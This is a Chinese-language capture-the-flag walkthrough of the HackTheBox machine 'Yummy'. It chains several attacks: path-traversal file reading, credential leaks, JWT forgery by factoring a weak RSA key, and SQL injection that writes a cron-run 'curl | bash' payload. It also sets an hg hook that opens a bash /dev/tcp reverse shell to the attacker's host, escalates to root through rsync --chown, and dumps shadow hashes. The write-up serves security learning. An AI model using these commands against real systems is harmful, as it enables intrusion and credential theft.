基本信息
端口扫描 22和80:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ nmap -sC -sV -Pn 10.10.11.36 Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-09 13:34 CST Nmap scan report for 10.10.11.36 Host is up (0.30s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA) |_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519) 80/tcp open http Caddy httpd |_http-server-header: Caddy |_http-title: Did not follow redirect to http://yummy.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 290.09 seconds
80 需要加hosts:
餐饮相关网站:
yummy 注册登录测试功能,预定桌子,可以下载日历,请求中发现export看起来是直接获取指定路径文件,可能存在LFI:
LFI 验证存在,需要存在有效预约,并且先GET请求对应的id /reminder/21才会生成ics文件,之后才能通过export访问,否则会响应500:
Caddy 根据响应信息server Caddy,去读取Caddy相关文件,没什么东西:
crontab crontab中发现一些定时运行的文件:
dbmonitor dbmonitor可以看到会根据dbstatus.json状态运行fixer-v*:
backup 读取app_backup.sh得到备份文件路径,然后获取备份文件:
1 http://yummy.htb/export/../../../../var/www/backupapp.zip
mysql table_cleanup.sh中可以得到mysql账号密码:
1 /usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!'
APP 备份代码app.py中也可以看到mysql相关信息,可以看到使用JWT和RSA:
JWT 根据代码修改生成administrator的jwt,即可访问到admindashboard:
admintoken.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import base64import jsonimport jwtfrom Crypto.PublicKey import RSAfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import serializationimport sympytoken = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im1pYW9AbWlhby5jb20iLCJyb2xlIjoiY3VzdG9tZXJfNGE3ZmIyNzgiLCJpYXQiOjE3Mjg0NTE2MjgsImV4cCI6MTcyODQ1NTIyOCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiI4OTQzMzQ1NjgxODk3MTQxODk1NzkwMjA3OTM1MjE3MTMyMTczODQ5MjQ5MDQ3OTMxMzYxNTAyMTI0MDU3MzIwNDgxOTI2NDU0MTMwMTkzNjYwNDM3MzQ4NDc3Mzk4MzU3ODEyMDk2ODgyODA2ODE2NTE5OTAwNzA2MDY3MjY5MjQzNzYzMjAyMTgyOTc5NTA5Mjc0MTcxMjkxNjI0MjM0NDUxODM4NDQ1MDkwOTI3NDczODkwNDEyNTYyMTAwMTA0ODIxMTUyNDA3MzMwNDQ0NjU4NzI2NDMyNTUxNDM1MjUxMTgyOTQ1ODIzMTgyNTIwODE0NTYzMzQ4ODA2ODAzOTY5ODMxMDc0ODQ4MTcyOTA0MzY3NjQwOTk2MDQ2NDk0NzE0NDU2NjUwNTM5OTYzMTQxNjMwOTY4NyIsImUiOjY1NTM3fX0.BXtB95687zdQQKDz3DOKh-BnVYBfCVgatQ-KbKAW6hAFn-3IjB3ckSljjsc-DLyb1ovnLzYo97p9Imy53dX7b3jnKvy8MbK2NtnKeALgP1GH95H6U0_BKXXKOzxFGgKOQZrBOZLdv9eV45elxUK2sI1EBl-X4VgqX1m95N6GI3-ZEvk" def add_padding (b64_str) : while len(b64_str) % 4 != 0 : b64_str += '=' return b64_str def base64url_decode (input) : input = add_padding(input) input = input.replace('-' , '+' ).replace('_' , '/' ) return base64.b64decode(input) js = json.loads(base64url_decode(token.split("." )[1 ]).decode()) n = int(js["jwk" ]['n' ]) p, q = list((sympy.factorint(n)).keys()) e = 65537 phi_n = (p - 1 ) * (q - 1 ) d = pow(e, -1 , phi_n) key_data = {'n' : n, 'e' : e, 'd' : d, 'p' : p, 'q' : q} key = RSA.construct((key_data['n' ], key_data['e' ], key_data['d' ], key_data['p' ], key_data['q' ])) private_key_bytes = key.export_key() private_key = serialization.load_pem_private_key( private_key_bytes, password=None , backend=default_backend() ) public_key = private_key.public_key() data = jwt.decode(token, public_key, algorithms=["RS256" ]) data["role" ] = "administrator" new_token = jwt.encode(data, private_key, algorithm="RS256" ) print(new_token)
admindashboard 根据代码,很明显的sql注入:
并且可以直接堆叠报错:
sql to file 还可以直接读写文件(因为文件是mysql权限写入的,所以也需要通过sql注入读取验证):
sql to shell 前面在crontab中可以看到dbmonitor是mysql权限运行的,所以我们可以通过sql注入读写相关文件,另外因为他会运行fixer-v*
,所以我们可以写入一个恶意的文件等待执行,得到mysql shell:
1 2 3 http://yummy.htb/admindashboard?s=&o=;select+"miaomiaomiao"+INTO+OUTFILE+"/data/scripts/dbstatus.json"; http://yummy.htb/admindashboard?s=&o=;select+"curl+10.10.14.7:7777/shell.sh+|+bash"+INTO+OUTFILE+"/data/scripts/fixer-v7777";
mysql to www-data 同样根据前面crontab中可以知道,app_backup.sh是www-data用户定时运行的,但上层目录是777权限,所以mysql用户可以对其进行操作:
1 2 mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old curl http://10.10.14.7:7777/shell.sh -o /data/scripts/app_backup.sh
等待触发执行,得到www-data:
信息 常规去翻web目录文件,发现hg相关文件,就是类似git的版本控制工具,data中得到qa用户密码:
1 2 3 4 strings /var/www/app-qatesting/.hg/store/data/app.py.i 'user': 'qa', 'password': 'jPAd!XQCtn8Oc@2B',
user flag qa用户ssh登录:
hg hooks to dev 可以sudo以dev身份运行hg,pull到指定项目中,hg类似git,相同的方式添加hooks:
1 2 3 4 5 6 7 8 mkdir .hg chmod 777 .hg cp ~/.hgrc .hg/hgrc echo "[hooks]" >> .hg/hgrc echo "post-pull = /tmp/miao/shell.sh" >> .hg/hgrc echo "bash -c 'bash -i >& /dev/tcp/10.10.14.7/4444 0>&1'" > shell.sh chmod +x shell.sh sudo -u dev /usr/bin/hg pull /home/dev/app-production/
打到dev用户:
提权信息 dev用户可以sudo以root身份运行rsync备份代码:
而rsync运行时可以添加额外参数,例如chown:
所以如果是一个设置了suid的文件,rsync时chown到root,那就有了一个root suid文件
提权 & root flag 所以就是简单的给bash加suid,rsync时chown,操作要快,有自动清理:
1 2 3 4 cp /bin/bash app-production/bash chmod u+s app-production/bash sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ /opt/app/bash -p
shadow 1 2 3 4 5 root:$y$j9T$VFiopFqX2qPhPh4xaO0Gd/$t9kjP.3F4.0JsG5ZYe.e2vSY1A/71UzvQANY4SToQ98:19871:0:99999:7::: www-data:$y$j9T$S21blsbdDkEltq9K0dVWh.$xJ9DB6rlVtaqyy1Wr7ZNEQNyDpYqc9J.azcfx8u2f52:19871:0:99999:7::: dev:$y$j9T$1/WsUm7je9IFkzgVjqRjX0$kqpuG3yR.ax0.hzHJp5NL0G4943t/fcVU7LnDKitfv1:19871:0:99999:7::: mysql:$y$j9T$G9DPvQTVigsYa1P8PJZXw.$b88UbsM554ljSq.SVHU6BEbL/9QCVJ1a78WZSxt4uk2:19871:::::: qa:$y$j9T$75Hb7WaRlgpORQQSzqUNS/$ZkK/Yb1QrMTAgHsd4qViPxTRDd4v6BaA2nrSyp0YAI3:19871:0:99999:7:::
参考资料
Last updated: 2025-02-27 08:53:28
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会